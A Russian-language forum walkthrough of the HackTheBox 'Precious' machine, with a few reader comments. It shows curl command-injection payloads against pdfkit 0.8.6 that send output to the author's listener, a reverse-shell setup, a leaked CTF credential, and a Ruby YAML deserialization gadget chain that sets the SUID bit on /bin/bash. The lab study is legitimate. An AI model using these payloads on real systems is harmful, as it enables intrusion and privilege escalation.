PDA

Просмотр полной версии : Прохождение HackTheBox - Precious (Linux, Easy)


Trager
09.03.2023, 04:39
https://forum.antichat.xyz/attachments/29103271/img_f49a5c72c1.png
Приветствую, уважаемые читатели форума

Codeby

! Сегодня мы пройдём, как мне кажется, самую лёгкую машину на

HackTheBox

, которая на данный момент вознаграждается поинтами.

Разведка

Начнём с того , что просканируем порты. Используем флаг

-sC

, чтобы использовать стандартные скрипты,

-sV

, чтобы определить сервисы открытых портов и

-sS

, чтобы использовать

TCP SYN

сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя):

https://forum.antichat.xyz/attachments/29103271/img_c996bc0226.png

У нас есть типичный для CTF порт

22

, который мы скорее всего будем использовать, когда уже получим данные пользователя/рута. И

80

порт - на нём, как правило, располагается веб-сервер.

Переходим на

http://10.10.11.189

:

https://forum.antichat.xyz/attachments/29103271/img_116bcf5cbf.png

Нас тут же редиректит на домен

precious.htb

. Следовательно, чтобы получить доступ к сайту нам нужно настроить

/etc/hosts

(подробнее про файл

/etc/hosts

Вы можете прочитать тут). Внести туда имя домена и

IP

-адрес машины. Для этого открываем данный файл в консольном редакторе

nano

с правами суперпользователя:

Bash:



sudo
nano
/etc/hosts


И вносим туда следующую строку:

Код:



10.10.11.189 precious.htb


https://forum.antichat.xyz/attachments/29103271/img_991c223442.png

Теперь переходим на

http://precious.htb

:

https://forum.antichat.xyz/attachments/29103271/img_794d4276de.png

На сайте мы можем сконвертировать любую веб-страницу в

PDF

-файл. Я пробовал эксплуатировать

OS Command Injection

,

LFI

,

RFI

и

SSRF

, предполагая, что на бэкэнде используются опасные функции, - ничего не вышло:

https://forum.antichat.xyz/attachments/29103271/img_259ffec8ec.png

Давайте запустим веб-сервер пайтона, чтобы проверить, может ли сервер отправлять свои запросы на нашу рабочую машину:

Bash:



python3 -m http.server


https://forum.antichat.xyz/attachments/29103271/img_dd7c3ca844.png

Теперь вводим наш локальный

IP

-адрес в поле ввода на главной странице

precious.htb

:

https://forum.antichat.xyz/attachments/29103271/img_efcccebaa8.png

После отправки запроса веб-сайт предлагает нам скачать

PDF

-файл, в котором располагается содержимое ссылки (мы её указали в форме):

https://forum.antichat.xyz/attachments/29103271/img_25d1a0b941.png

Мы можем заставить веб-сервер атакуемой машины отправить

GET

-запрос на наш веб-сервер, вот только особой выгоды с этого не получить:

https://forum.antichat.xyz/attachments/29103271/img_d9c474f381.png

Что насчёт самих

PDF

-файлов? Очевидно, что на сервере есть автоматизированный инструмент, который их генерирует. Есть вероятность того, что его название и версия указаны в метаданных файла. Проверим файл с помощью

exiftool

:

https://forum.antichat.xyz/attachments/29103271/img_69135a82d0.png

Видим следующую строку:


Creator: Generated by pdfkit v0.8.6


То есть используется

pdfkit

версии

0.8.6

. Давайте поищем в гугле возможные уязвимости на данный софт:

https://forum.antichat.xyz/attachments/29103271/img_297e82dfc0.png

Становится понятно, что это и есть ключ к взлому. В

pdfkit

версии

0.8.6

есть

Command Injection

. Данная уязвимость позволяет нам выполнять любые команды от лица пользователя веб-сервера. Теперь давайте разберёмся с эксплуатацией.

На security.snyk.io мы можем найти

PoC (Proof Of Concept)

уязвимости:

https://forum.antichat.xyz/attachments/29103271/img_13dc94493f.png

Так как мы передаём данные через

POST

-параметр

url

, следовательно, в него нам и нужно класть пэйлоад:

https://forum.antichat.xyz/attachments/29103271/img_e683e1d577.png

Согласно

PoC'у

и описанию уязвимости, нам требуется использовать следующий пэйлоад:

Код:



http://10.10.16.52/?name=%20``


Будем использовать

curl

, но можно также использовать и сам

BurpSuite

. Используем опцию

-X

, чтобы указать, что будет

POST

-запрос и опцию

--data-raw

, чтобы указать

POST

-параметр

url

:

Bash:



curl
"http://precious.htb/"
-X POST --data-raw
"url=http://10.10.16.52/?name=%20`whoami`"


Не забудьте закодировать пэйлоад

url

-параметра в

URL

-энкод:

Bash:



curl
"http://precious.htb/"
-X POST --data-raw
"url=http%3A%2F%2F10.10.16.52%2F%3Fname%3D%2520%60w hoami%60"


Нам также требуется поднять наш веб-сервер, куда будут приходить

GET

-запросы (которые содержат результат отработки пэйлоада) с атакуемой машины. Я запустил веб-сервер пайтона с правами суперпользователя, чтобы он работал на

80

порту. После того, как мы его запустили, отправляем наш пэйлоад. Как можно заметить,

precious.htb

отправляет нам запрос с результатом работы пэйлоада в

GET

-параметре

name

:

https://forum.antichat.xyz/attachments/29103271/img_f5a9568a52.png

Скорее всего бэкэнд веб-сервера написан на

Ruby

, так как его пользователь -

ruby

. Когда мы убедились в том, что

Command Injection

действительно работает, давайте организуем себе реверс шелл. Крайне рекомендую сервис Online - Reverse Shell Generator. Достаточно вбить

IP

-адрес и порт машины, куда придёт реверс-шелл, чтобы получить готовый пэйлоад:

https://forum.antichat.xyz/attachments/29103271/img_eaab0b1fb8.png

Мы знаем, что на сервере используется

Ruby

, следовательно, логичнее всего использовать реверс шелл через данный язык программирования. Копируем то, что выдал нам

Reverse Shell Generator

и кладём это в место, которое предназначено для пэйлоада:

Код:



http://10.10.16.52/?name=%20``


Конечно же, перед этим ставим листенер, например, на

9898

порт:

Bash:



nc
-nlvp
9898


Делаем

URL

-энкод значения

POST

-параметра

url

и отправляем запрос:

https://forum.antichat.xyz/attachments/29103271/img_4c985abda1.png

Отлично, мы залетели на машину. Теперь нам нужно повысить привилегии и получить пользователя.

Взятие пользователя

Немного перебрав различных конфигов, я нашёл скрытый каталог

.bundle

в домашней директории пользователя

ruby

. В нем есть файл

config

. Читаем файл - получаем данные пользователя

henry

:

https://forum.antichat.xyz/attachments/29103271/img_6f4a861c0c.png


henry:Q3c1AqGHtoI0aXAYFH


Подключаемся по

ssh

к

precious.htb

:

Bash:



ssh
henry@precious.htb


https://forum.antichat.xyz/attachments/29103271/img_1764ad1580.png

Теперь можем забирать флаг пользователя -

user.txt

.

Взятие суперпользователя

Используем

sudo -l

, чтобы узнать, что мы можем запустить от лица суперпользователя:

https://forum.antichat.xyz/attachments/29103271/img_c4742a552a.png

Мы можем запустить следующую команду при этом использовав пароль от

henry

:

Bash:



sudo
/usr/bin/ruby /opt/update_dependencies.rb


Давайте глянем, что у нас в файле

/opt/update_dependencies.rb

. Там следующий код:

Ruby:



# Compare installed dependencies with those specified in "dependencies.yml"
require
"yaml"
require
'rubygems'
# TODO: update versions automatically
def
update_gems
(
)
end
def
list_from_file
YAML
.
load
(
File
.
read
(
"dependencies.yml"
)
)
end
def
list_local_gems
Gem
:
:
Specification
.
sort_by
{
|
g
|
[
g
.
name
.
downcase
,
g
.
version
]
}
.
map
{
|
g
|
[
g
.
name
,
g
.
version
.
to_s
]
}
end
gems_file
=
list_from_file
gems_local
=
list_local_gems

gems_file
.
each
do
|
file_name
,
file_version
|
gems_local
.
each
do
|
local_name
,
local_version
|
if
(
file_name
==
local_name
)
if
(
file_version
!=
local_version
)
puts
"Installed version differs from the one specified in file: "
+
local_name
else
puts
"Installed version is equals to the one specified in file: "
+
local_name
end
end
end
end


В гугле мы можем найти множество источников про атаку десериализации

YAML

(

YAML Deserialization Attack

). В данном случае она эксплуатируется через

YAML.load()

. Я нашел следующую статью, где эксплуатируется похожий код с

YAML.lopad()

- Ruby Vulnerabilities: Exploiting Open, Send, and Deserialization…. Мы можем проверить пэйлоад из статьи:

YAML:



:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
date
>
>
/tmp/rce9b.txt
method_id
:
:
resolve


Создаём файл

dependencies.yml

в каталоге

/tmp

и просто копируем туда содержимое пэйлоада. Затем запускаем скрипт

update_dependencies.rb

с помощью прав суперпользователя и интерпретатора

ruby

:

https://forum.antichat.xyz/attachments/29103271/img_866000ee66.png

Пэйлоад предполагает то, что после его отработки создастся файл

rce9b.txt

с владельцем и группой файла

root:root

:

https://forum.antichat.xyz/attachments/29103271/img_376b195cfe.png

Всё пошло по правильному сценарию. Следовательно, в

YML

-файле нам нужно класть пэйлоад в

git_set

:

YAML:



:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:

method_id
:
:
resolve


Теперь нужно подумать, как нам взять рута. В целом, мы можем просто скопировать флаг

root.txt

в

/tmp

с помощью следующего пэйлоада:

YAML:



:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
cp /root/root.txt /tmp/; chmod 777 /tmp/root.txt
method_id
:
:
resolve


Но в таком случае мы не получим полноценный

root

-доступ. Можем выставить

SUID

-бит на

/bin/bash

, чтобы запустить командную оболочку

bash

от имени пользователя

root

(подробнее про

SUID

-биты Вы можете прочитать тут).

Приводим

YML

-файл к следующему виду:

YAML:



:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
chmod u+s /bin/bash
method_id
:
:
resolve


И запускаем

ruby

-скрипт с правами суперпользователя:

https://forum.antichat.xyz/attachments/29103271/img_4e24f3b782.png

Теперь запускаем

bash

с опцией

-p

, чтобы запустить командную оболочку от лица пользователя

root

. Про то, как повышать привилегии с помощью программ, которые имеют

SUID

-бит, Вы можете ознакомиться на GTFOBins:

https://forum.antichat.xyz/attachments/29103271/img_29dda21deb.png

https://forum.antichat.xyz/attachments/29103271/img_7b98f2e094.png

Теперь мы с чувством выполненного долга можем прочитать

root.txt

:

https://forum.antichat.xyz/attachments/29103271/img_d3b735b232.png

Друзья, большое спасибо, что прочитали данную статью. Пожалуйста, укажите в комментариях, если я допустил какие-либо ошибки или есть какие-нибудь неточности

szybnev
09.03.2023, 14:22
Блин, реально крутая статья. Мне очень зашло. Автор большой молодец!

truexe
09.03.2023, 23:31
Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!

szybnev
10.03.2023, 11:48
truexe сказал(а):

Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!


HTB весь такой. Написано изи, а целая команда мидлов решить таск не может))